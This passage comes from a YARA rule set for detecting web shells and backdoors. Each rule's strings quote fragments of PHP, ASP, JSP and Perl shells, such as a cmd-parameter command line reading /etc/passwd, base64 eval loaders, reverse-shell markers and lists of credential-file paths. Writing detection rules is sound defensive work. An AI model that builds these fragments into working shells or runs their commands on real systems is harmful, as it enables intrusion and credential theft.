		$s2 = "-- Use a poor man's pipe ... a temp file --"
		$s3 = "maceo @ dogmile.com"

	condition:
		2 of them
}

rule simple_backdoor_php
{
	meta:
		description = "Semi-Auto-generated  - file simple-backdoor.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "f091d1b9274c881f8e41b2f96e6b9936"
		id = "5607f501-a750-59be-9595-5ac71ea6f74b"

	strings:
		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
		$s1 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->"
		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword

	condition:
		2 of them
}

rule mysql_shell_php
{
	meta:
		description = "Semi-Auto-generated  - file mysql_shell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "d42aec2891214cace99b3eb9f3e21a63"
		id = "e517984b-575c-5ead-a438-9767d2c74099"

	strings:
		$s0 = "SooMin Kim"
		$s1 = "smkim@popeye.snu.ac.kr"
		$s2 = "echo \"<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablen"

	condition:
		1 of them
}

rule Dive_Shell_1_0___Emperor_Hacking_Team_php
{
	meta:
		description = "Semi-Auto-generated  - file Dive Shell 1.0 - Emperor Hacking Team.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "1b5102bdc41a7bc439eea8f0010310a5"
		id = "d75294a4-a0a7-5c74-bb7a-766db477633c"

	strings:
		$s0 = "Emperor Hacking TEAM"
		$s1 = "Simshell" fullword
		$s2 = "ereg('^[[:blank:]]*cd[[:blank:]]"
		$s3 = "<form name=\"shell\" action=\"<?php echo $_SERVER['PHP_SELF'] ?>\" method=\"POST"

	condition:
		2 of them
}

rule Asmodeus_v0_1_pl
{
	meta:
		description = "Semi-Auto-generated  - file Asmodeus v0.1.pl.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "0978b672db0657103c79505df69cb4bb"
		id = "cfd082a8-56fa-54bc-a683-c0052f78e12e"

	strings:
		$s0 = "[url=http://www.governmentsecurity.org"
		$s1 = "perl asmodeus.pl client 6666 127.0.0.1"
		$s2 = "print \"Asmodeus Perl Remote Shell"
		$s4 = "$internet_addr = inet_aton(\"$host\") or die \"ALOA:$!\\n\";" fullword

	condition:
		2 of them
}

rule backup_php_often_with_c99shell
{
	meta:
		description = "Semi-Auto-generated  - file backup.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "aeee3bae226ad57baf4be8745c3f6094"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "#phpMyAdmin MySQL-Dump" fullword
		$s2 = ";db_connect();header('Content-Type: application/octetstr"
		$s4 = "$data .= \"#Database: $database" fullword

	condition:
		all of them
}

rule Reader_asp
{
	meta:
		description = "Semi-Auto-generated  - file Reader.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "ad1a362e0a24c4475335e3e891a01731"
		id = "70094d24-fa3a-503c-b9b6-294a883fc52c"

	strings:
		$s1 = "Mehdi & HolyDemon"
		$s2 = "www.infilak."
		$s3 = "'*T@*r@#@&mms^PdbYbVuBcAAA==^#~@%><form method=post name=inf><table width=\"75%"

	condition:
		2 of them
}

rule phpshell17_php
{
	meta:
		description = "Semi-Auto-generated  - file phpshell17.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "9a928d741d12ea08a624ee9ed5a8c39d"
		id = "ea1f657c-2023-50bb-a2ee-33c53ee8fb5e"

	strings:
		$s0 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>" fullword
		$s1 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]<?php echo PHPSHELL_VERSION ?></"
		$s2 = "href=\"mailto: [YOU CAN ENTER YOUR MAIL HERE]- [ADDITIONAL TEXT]</a></i>" fullword

	condition:
		1 of them
}

rule myshell_php_php
{
	meta:
		description = "Semi-Auto-generated  - file myshell.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "62783d1db52d05b1b6ae2403a7044490"
		id = "eaf243cb-fa26-5f34-a724-60a08acff636"

	strings:
		$s0 = "@chdir($work_dir) or ($shellOutput = \"MyShell: can't change directory."
		$s1 = "echo \"<font color=$linkColor><b>MyShell file editor</font> File:<font color"
		$s2 = " $fileEditInfo = \"&nbsp;&nbsp;:::::::&nbsp;&nbsp;Owner: <font color=$"

	condition:
		2 of them
}

rule SimShell_1_0___Simorgh_Security_MGZ_php
{
	meta:
		description = "Semi-Auto-generated  - file SimShell 1.0 - Simorgh Security MGZ.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "37cb1db26b1b0161a4bf678a6b4565bd"
		id = "51565555-a17b-59c7-b433-c3166fe0d7f0"

	strings:
		$s0 = "Simorgh Security Magazine "
		$s1 = "Simshell.css"
		$s2 = "} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], "
		$s3 = "www.simorgh-ev.com"

	condition:
		2 of them
}

rule jspshall_jsp
{
	meta:
		description = "Semi-Auto-generated  - file jspshall.jsp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "efe0f6edaa512c4e1fdca4eeda77b7ee"
		id = "4bccad33-d26e-52c2-b7f8-802f2c8f3889"

	strings:
		$s0 = "kj021320"
		$s1 = "case 'T':systemTools(out);break;"
		$s2 = "out.println(\"<tr><td>\"+ico(50)+f[i].getName()+\"</td><td> file"

	condition:
		2 of them
}

rule webshell_php
{
	meta:
		description = "Semi-Auto-generated  - file webshell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "e425241b928e992bde43dd65180a4894"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "<die(\"Couldn't Read directory, Blocked!!!\");"
		$s3 = "PHP Web Shell"

	condition:
		all of them
}

rule rootshell_php
{
	meta:
		description = "Semi-Auto-generated  - file rootshell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "265f3319075536030e59ba2f9ef3eac6"
		id = "aec6621e-f23a-5f9f-91f1-d2f1b1ab58d0"

	strings:
		$s0 = "shells.dl.am"
		$s1 = "This server has been infected by $owner"
		$s2 = "<input type=\"submit\" value=\"Include!\" name=\"inc\"></p>"
		$s4 = "Could not write to file! (Maybe you didn't enter any text?)"

	condition:
		2 of them
}

rule connectback2_pl
{
	meta:
		description = "Semi-Auto-generated  - file connectback2.pl.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "473b7d226ea6ebaacc24504bd740822e"
		id = "4ddebc62-17d2-577e-84bd-207367078327"

	strings:
		$s0 = "#We Are: MasterKid, AleXutz, FatMan & MiKuTuL                                   "
		$s1 = "echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shel"
		$s2 = "ConnectBack Backdoor"

	condition:
		1 of them
}

rule DefaceKeeper_0_2_php
{
	meta:
		description = "Semi-Auto-generated  - file DefaceKeeper_0.2.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "713c54c3da3031bc614a8a55dccd7e7f"
		id = "671323e2-42cb-5ce0-9839-5d01c446471c"

	strings:
		$s0 = "target fi1e:<br><input type=\"text\" name=\"target\" value=\"index.php\"></br>" fullword
		$s1 = "eval(base64_decode(\"ZXZhbChiYXNlNjRfZGVjb2RlKCJhV2R1YjNKbFgzVnpaWEpmWVdKdmNuUW9"
		$s2 = "<img src=\"http://s43.radikal.ru/i101/1004/d8/ced1f6b2f5a9.png\" align=\"center"

	condition:
		1 of them
}

rule shells_PHP_wso
{
	meta:
		description = "Semi-Auto-generated  - file wso.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "33e2891c13b78328da9062fbfcf898b6"
		id = "fdce6094-a88e-5da6-aeb0-bc97b15bf397"

	strings:
		$s0 = "$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbi"
		$s3 = "echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=pos"

	condition:
		1 of them
}

rule backdoor1_php
{
	meta:
		description = "Semi-Auto-generated  - file backdoor1.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "e1adda1f866367f52de001257b4d6c98"
		id = "89f44a1c-8a42-58f6-9308-371f4e652bff"

	strings:
		$s1 = "echo \"[DIR] <A HREF=\\\"\".$_SERVER['PHP_SELF'].\"?rep=\".realpath($rep.\".."
		$s2 = "class backdoor {"
		$s4 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?copy=1\\\">Copier un fichier</a> <"

	condition:
		1 of them
}

rule elmaliseker_asp
{
	meta:
		description = "Semi-Auto-generated  - file elmaliseker.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
		id = "7ecf3d5c-be91-579e-905b-5f2ad03a0e42"

	strings:
		$s0 = "if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & \"@\" & makeText(8) & \".\""
		$s1 = "<form name=frmCMD method=post action=\"<%=gURL%>\">"
		$s2 = "dim zombie_array,special_array"
		$s3 = "http://vnhacker.org"

	condition:
		1 of them
}

rule indexer_asp
{
	meta:
		description = "Semi-Auto-generated  - file indexer.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "9ea82afb8c7070817d4cdf686abe0300"
		id = "84ff60f9-36f7-5d29-9f38-8088fb42582e"

	strings:
		$s0 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
		$s2 = "D7nD7l.km4snk`JzKnd{n_ejq;bd{KbPur#kQ8AAA==^#~@%>></td><td><input type=\"submit"

	condition:
		1 of them
}

rule DxShell_php_php
{
	meta:
		description = "Semi-Auto-generated  - file DxShell.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "33a2b31810178f4c2e71fbdeb4899244"
		id = "b89930b7-acf3-5078-8429-d59e27e4b00c"

	strings:
		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
		$s2 = "print \"\\n\".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><"

	condition:
		1 of them
}

rule s72_Shell_v1_1_Coding_html
{
	meta:
		description = "Semi-Auto-generated  - file s72 Shell v1.1 Coding.html.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "c2e8346a5515c81797af36e7e4a3828e"
		id = "dfd3b80e-6245-5f74-9d6a-6006218891ac"

	strings:
		$s0 = "Dizin</font></b></font><font face=\"Verdana\" style=\"font-size: 8pt\"><"
		$s1 = "s72 Shell v1.0 Codinf by Cr@zy_King"
		$s3 = "echo \"<p align=center>Dosya Zaten Bulunuyor</p>\""

	condition:
		1 of them
}

rule kacak_asp
{
	meta:
		description = "Semi-Auto-generated  - file kacak.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "907d95d46785db21331a0324972dda8c"
		id = "1ae15174-b84a-5826-b768-7afed65196db"

	strings:
		$s0 = "Kacak FSO 1.0"
		$s1 = "if request.querystring(\"TGH\") = \"1\" then"
		$s3 = "<font color=\"#858585\">BuqX</font></a></font><font face=\"Verdana\" style="
		$s4 = "mailto:BuqX@hotmail.com"

	condition:
		1 of them
}

rule PHP_Backdoor_Connect_pl_php
{
	meta:
		description = "Semi-Auto-generated  - file PHP Backdoor Connect.pl.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "57fcd9560dac244aeaf95fd606621900"
		id = "96c9258e-3894-5ee9-b52c-eb7ba7454416"

	strings:
		$s0 = "LorD of IRAN HACKERS SABOTAGE"
		$s1 = "LorD-C0d3r-NT"
		$s2 = "echo --==Userinfo==-- ;"

	condition:
		1 of them
}

rule Antichat_Socks5_Server_php_php
{
	meta:
		description = "Semi-Auto-generated  - file Antichat Socks5 Server.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "cbe9eafbc4d86842a61a54d98e5b61f1"
		id = "35d0930c-ef07-5fd4-9d7a-c0d685f92339"

	strings:
		$s0 = "$port = base_convert(bin2hex(substr($reqmessage[$id], 3+$reqlen+1, 2)), 16, 10);" fullword
		$s3 = "#   [+] Domain name address type"
		$s4 = "www.antichat.ru"

	condition:
		1 of them
}

rule Antichat_Shell_v1_3_php
{
	meta:
		description = "Semi-Auto-generated  - file Antichat Shell v1.3.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "40d0abceba125868be7f3f990f031521"
		id = "856cf977-24da-58e0-b6d2-820c92075ecc"

	strings:
		$s0 = "Antichat"
		$s1 = "Can't open file, permission denide"
		$s2 = "$ra44"

	condition:
		2 of them
}

rule Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_php
{
	meta:
		description = "Semi-Auto-generated  - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "49ad9117c96419c35987aaa7e2230f63"
		id = "3e81f628-31b4-5c22-943e-62c8cb4c0c4d"

	strings:
		$s0 = "Welcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy"
		$s1 = "Mode Shell v1.0</font></span>"
		$s2 = "has been already loaded. PHP Emperor <xb5@hotmail."

	condition:
		1 of them
}

rule mysql_php_php
{
	meta:
		description = "Semi-Auto-generated  - file mysql.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "12bbdf6ef403720442a47a3cc730d034"
		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"

	strings:
		$s0 = "action=mysqlread&mass=loadmass\">load all defaults"
		$s2 = "if (@passthru($cmd)) { echo \" -->\"; $this->output_state(1, \"passthru"
		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = "

	condition:
		1 of them
}

rule Worse_Linux_Shell_php
{
	meta:
		description = "Semi-Auto-generated  - file Worse Linux Shell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
		id = "e223e2a9-7c7a-597a-8b90-a63ee11805ea"

	strings:
		$s1 = "print \"<tr><td><b>Server is:</b></td><td>\".$_SERVER['SERVER_SIGNATURE'].\"</td"
		$s2 = "print \"<tr><td><b>Execute command:</b></td><td><input size=100 name=\\\"_cmd"

	condition:
		1 of them
}

rule cyberlords_sql_php_php
{
	meta:
		description = "Semi-Auto-generated  - file cyberlords_sql.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "03b06b4183cb9947ccda2c3d636406d4"
		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"

	strings:
		$s0 = "Coded by n0 [nZer0]"
		$s1 = " www.cyberlords.net"
		$s2 = "U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAACJoURkAAAAE"
		$s3 = "return \"<BR>Dump error! Can't write to \".htmlspecialchars($file);"

	condition:
		1 of them
}

rule cmd_asp_5_1_asp
{
	meta:
		description = "Semi-Auto-generated  - file cmd-asp-5.1.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
		id = "fc204ab8-892d-5435-a737-a185ca32e938"

	strings:
		$s0 = "Call oS.Run(\"win.com cmd.exe /c del \"& szTF,0,True)" fullword
		$s3 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword

	condition:
		1 of them
}

rule pws_php_php
{
	meta:
		description = "Semi-Auto-generated  - file pws.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "ecdc6c20f62f99fa265ec9257b7bf2ce"
		id = "1ec47c33-dbec-50bd-b4b0-8f00b704a816"

	strings:
		$s0 = "<div align=\"left\"><font size=\"1\">Input command :</font></div>" fullword
		$s1 = "<input type=\"text\" name=\"cmd\" size=\"30\" class=\"input\"><br>" fullword
		$s4 = "<input type=\"text\" name=\"dir\" size=\"30\" value=\"<? passthru(\"pwd\"); ?>"

	condition:
		2 of them
}

rule PHP_Shell_php_php
{
	meta:
		description = "Semi-Auto-generated  - file PHP Shell.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
		id = "6978126c-5414-52d2-b085-6e5589716d93"

	strings:
		$s0 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
		$s1 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="

	condition:
		all of them
}

rule Ayyildiz_Tim___AYT__Shell_v_2_1_Biz_html
{
	meta:
		description = "Semi-Auto-generated  - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.html.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "8a8c8bb153bd1ee097559041f2e5cf0a"
		id = "d50a8669-fd28-59d2-9f00-f4fe2b85dc22"

	strings:
		$s0 = "Ayyildiz"
		$s1 = "TouCh By iJOo"
		$s2 = "First we check if there has been asked for a working directory"
		$s3 = "http://ayyildiz.org/images/whosonline2.gif"

	condition:
		2 of them
}

rule EFSO_2_asp
{
	meta:
		description = "Semi-Auto-generated  - file EFSO_2.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "b5fde9682fd63415ae211d53c6bfaa4d"
		id = "f0566790-b41c-5167-b7ec-19e7d04256d1"

	strings:
		$s0 = "Ejder was HERE"
		$s1 = "*~PU*&BP[_)f!8c2F*@#@&~,P~P,~P&q~8BPmS~9~~lB~X`V,_,F&*~,jcW~~[_c3TRFFzq@#@&PP,~~"

	condition:
		2 of them
}

rule lamashell_php
{
	meta:
		description = "Semi-Auto-generated  - file lamashell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "de9abc2e38420cad729648e93dfc6687"
		id = "cbbb3377-ef9c-5fd1-a8b8-2b730fb5ef28"

	strings:
		$s0 = "lama's'hell" fullword
		$s1 = "if($_POST['king'] == \"\") {"
		$s2 = "if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir.\"/\".$_FILES['f"

	condition:
		1 of them
}

rule Ajax_PHP_Command_Shell_php
{
	meta:
		description = "Semi-Auto-generated  - file Ajax_PHP Command Shell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "93d1a2e13a3368a2472043bd6331afe9"
		id = "cae2e035-ae7b-589b-b2d9-e709028274c5"

	strings:
		$s1 = "newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>"
		$s2 = "Empty Command..type \\\"shellhelp\\\" for some ehh...help"
		$s3 = "newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enct"

	condition:
		1 of them
}

rule JspWebshell_1_2_jsp
{
	meta:
		description = "Semi-Auto-generated  - file JspWebshell 1.2.jsp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "70a0ee2624e5bbe5525ccadc467519f6"
		id = "edfe6a3d-7d56-52ad-a376-cec5722e87b7"

	strings:
		$s0 = "JspWebshell"
		$s1 = "CreateAndDeleteFolder is error:"
		$s2 = "<td width=\"70%\" height=\"22\">&nbsp;<%=env.queryHashtable(\"java.c"
		$s3 = "String _password =\"111\";"

	condition:
		2 of them
}

rule Sincap_php_php
{
	meta:
		description = "Semi-Auto-generated  - file Sincap.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "b68b90ff6012a103e57d141ed38a7ee9"
		id = "8c4dc7b1-94ce-5528-8442-eae05d2c9980"

	strings:
		$s0 = "$baglan=fopen(\"/tmp/$ekinci\",'r');"
		$s2 = "$tampon4=$tampon3-1"
		$s3 = "@aventgrup.net"

	condition:
		2 of them
}

rule Test_php_php
{
	meta:
		description = "Semi-Auto-generated  - file Test.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "77e331abd03b6915c6c6c7fe999fcb50"
		id = "58d73264-6507-5560-ad3e-0cc86c2ee291"

	strings:
		$s0 = "$yazi = \"test\" . \"\\r\\n\";" fullword
		$s2 = "fwrite ($fp, \"$yazi\");" fullword
		$s3 = "$entry_line=\"HACKed by EntriKa\";" fullword

	condition:
		1 of them
}

rule Phyton_Shell_py
{
	meta:
		description = "Semi-Auto-generated  - file Phyton Shell.py.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "92b3c897090867c65cc169ab037a0f55"
		id = "2f55d60d-94f3-508d-a2d0-5ab59e3fdab3"

	strings:
		$s1 = "sh_out=os.popen(SHELL+\" \"+cmd).readlines()" fullword
		$s2 = "#   d00r.py 0.3a (reverse|bind)-shell in python by fQ" fullword
		$s3 = "print \"error; help: head -n 16 d00r.py\"" fullword
		$s4 = "print \"PW:\",PW,\"PORT:\",PORT,\"HOST:\",HOST" fullword

	condition:
		1 of them
}

rule mysql_tool_php_php
{
	meta:
		description = "Semi-Auto-generated  - file mysql_tool.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "5fbe4d8edeb2769eda5f4add9bab901e"
		id = "c67197d1-6e40-5bf2-9e1b-6ada43529435"

	strings:
		$s0 = "$error_text = '<strong>Failed selecting database \"'.$this->db['"
		$s1 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERV"
		$s4 = "<div align=\"center\">The backup process has now started<br "

	condition:
		1 of them
}

rule Zehir_4_asp
{
	meta:
		description = "Semi-Auto-generated  - file Zehir 4.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "7f4e12e159360743ec016273c3b9108c"
		id = "ea7df4e1-d4e2-5a58-a014-d12cb9afaf79"

	strings:
		$s2 = "</a><a href='\"&dosyapath&\"?status=10&dPath=\"&f1.path&\"&path=\"&path&\"&Time="
		$s4 = "<input type=submit value=\"Test Et!\" onclick=\""

	condition:
		1 of them
}

rule sh_php_php
{
	meta:
		description = "Semi-Auto-generated  - file sh.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "330af9337ae51d0bac175ba7076d6299"
		id = "da691516-d6c9-5c4b-85c3-f1cd7fc96ae7"

	strings:
		$s1 = "$ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/e"
		$s2 = "Show <input type=text size=5 value=\".((isset($_POST['br_st']))?$_POST['br_st']:"

	condition:
		1 of them
}

rule phpbackdoor15_php
{
	meta:
		description = "Semi-Auto-generated  - file phpbackdoor15.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "0fdb401a49fc2e481e3dfd697078334b"
		id = "a93b881b-3050-5f43-803c-4a571aaaef82"

	strings:
		$s1 = "echo \"fichier telecharge dans \".good_link(\"./\".$_FILES[\"fic\"][\"na"
		$s2 = "if(move_uploaded_file($_FILES[\"fic\"][\"tmp_name\"],good_link(\"./\".$_FI"
		$s3 = "echo \"Cliquez sur un nom de fichier pour lancer son telechargement. Cliquez s"

	condition:
		1 of them
}

rule phpjackal_php
{
	meta:
		description = "Semi-Auto-generated  - file phpjackal.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "ab230817bcc99acb9bdc0ec6d264d76f"
		id = "ae46cb97-1ff8-50ba-856f-c38fbb1e5163"

	strings:
		$s3 = "$dl=$_REQUEST['downloaD'];"
		$s4 = "else shelL(\"perl.exe $name $port\");"

	condition:
		1 of them
}

rule sql_php_php
{
	meta:
		description = "Semi-Auto-generated  - file sql.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "8334249cbb969f2d33d678fec2b680c5"
		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"

	strings:
		$s1 = "fputs ($fp, \"# RST MySQL tools\\r\\n# Home page: http://rst.void.ru\\r\\n#"
		$s2 = "http://rst.void.ru"
		$s3 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"

	condition:
		1 of them
}

rule cgi_python_py
{
	meta:
		description = "Semi-Auto-generated  - file cgi-python.py.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "0a15f473e2232b89dae1075e1afdac97"
		id = "75e99d10-3cdf-5f87-9933-4ce5ebe18b09"

	strings:
		$s0 = "a CGI by Fuzzyman"
		$s1 = "\"\"\"+fontline +\"Version : \" + versionstring + \"\"\", Running on : \"\"\" + "
		$s2 = "values = map(lambda x: x.value, theform[field])     # allows for"

	condition:
		1 of them
}

rule ru24_post_sh_php_php
{
	meta:
		description = "Semi-Auto-generated  - file ru24_post_sh.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "5b334d494564393f419af745dc1eeec7"
		id = "78669d3e-629b-591a-a766-923e37d1fdba"

	strings:
		$s1 = "<title>Ru24PostWebShell - \".$_POST['cmd'].\"</title>" fullword
		$s3 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
		$s4 = "Writed by DreAmeRz" fullword

	condition:
		1 of them
}

rule DTool_Pro_php
{
	meta:
		description = "Semi-Auto-generated  - file DTool Pro.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "366ad973a3f327dfbfb915b0faaea5a6"
		id = "c02c522c-8418-5760-869a-52b41785bebc"

	strings:
		$s0 = "r3v3ng4ns\\nDigite"
		$s1 = "if(!@opendir($chdir)) $ch_msg=\"dtool: line 1: chdir: It seems that the permissi"
		$s3 = "if (empty($cmd) and $ch_msg==\"\") echo (\"Comandos Exclusivos do DTool Pro\\n"

	condition:
		1 of them
}

rule telnetd_pl
{
	meta:
		description = "Semi-Auto-generated  - file telnetd.pl.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "5f61136afd17eb025109304bd8d6d414"
		id = "05b5d247-3133-5902-a2ee-b84fa89c7f32"

	strings:
		$s0 = "0ldW0lf" fullword
		$s1 = "However you are lucky :P"
		$s2 = "I'm FuCKeD"
		$s3 = "ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);#"
		$s4 = "atrix@irc.brasnet.org"

	condition:
		1 of them
}

rule php_include_w_shell_php
{
	meta:
		description = "Semi-Auto-generated  - file php-include-w-shell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "4e913f159e33867be729631a7ca46850"
		id = "ddcf9031-2ec8-5a86-8326-60e4a699f494"

	strings:
		$s0 = "$dataout .= \"<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incd"
		$s1 = "if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB"

	condition:
		1 of them
}

rule Safe0ver_Shell__Safe_Mod_Bypass_By_Evilc0der_php
{
	meta:
		description = "Semi-Auto-generated  - file Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "6163b30600f1e80d2bb5afaa753490b6"
		id = "25971f62-33ee-5ed6-8d72-118be5bd2deb"

	strings:
		$s0 = "Safe0ver" fullword
		$s1 = "Script Gecisi Tamamlayamadi!"
		$s2 = "document.write(unescape('%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%53%43%52%49%50%"

	condition:
		1 of them
}

rule shell_php_php
{
	meta:
		description = "Semi-Auto-generated  - file shell.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "1a95f0163b6dea771da1694de13a3d8d"
		id = "eaf243cb-fa26-5f34-a724-60a08acff636"

	strings:
		$s1 = "/* We have found the parent dir. We must be carefull if the parent " fullword
		$s2 = "$tmpfile = tempnam('/tmp', 'phpshell');"
		$s3 = "if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {" fullword

	condition:
		1 of them
}

rule telnet_cgi
{
	meta:
		description = "Semi-Auto-generated  - file telnet.cgi.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "dee697481383052980c20c48de1598d1"
		id = "4ca3dace-cd80-58e4-a4de-47dcc64dac0e"

	strings:
		$s1 = "W A R N I N G: Private Server"
		$s2 = "print \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie"
		$s3 = "$Prompt = $WinNT ? \"$CurrentDir> \" : \"[admin\\@$ServerName $C"

	condition:
		1 of them
}

rule ironshell_php
{
	meta:
		description = "Semi-Auto-generated  - file ironshell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
		id = "0d63ad03-4d1d-535f-8afe-3edaf1bf4010"

	strings:
		$s0 = "www.ironwarez.info"
		$s1 = "$cookiename = \"wieeeee\";"
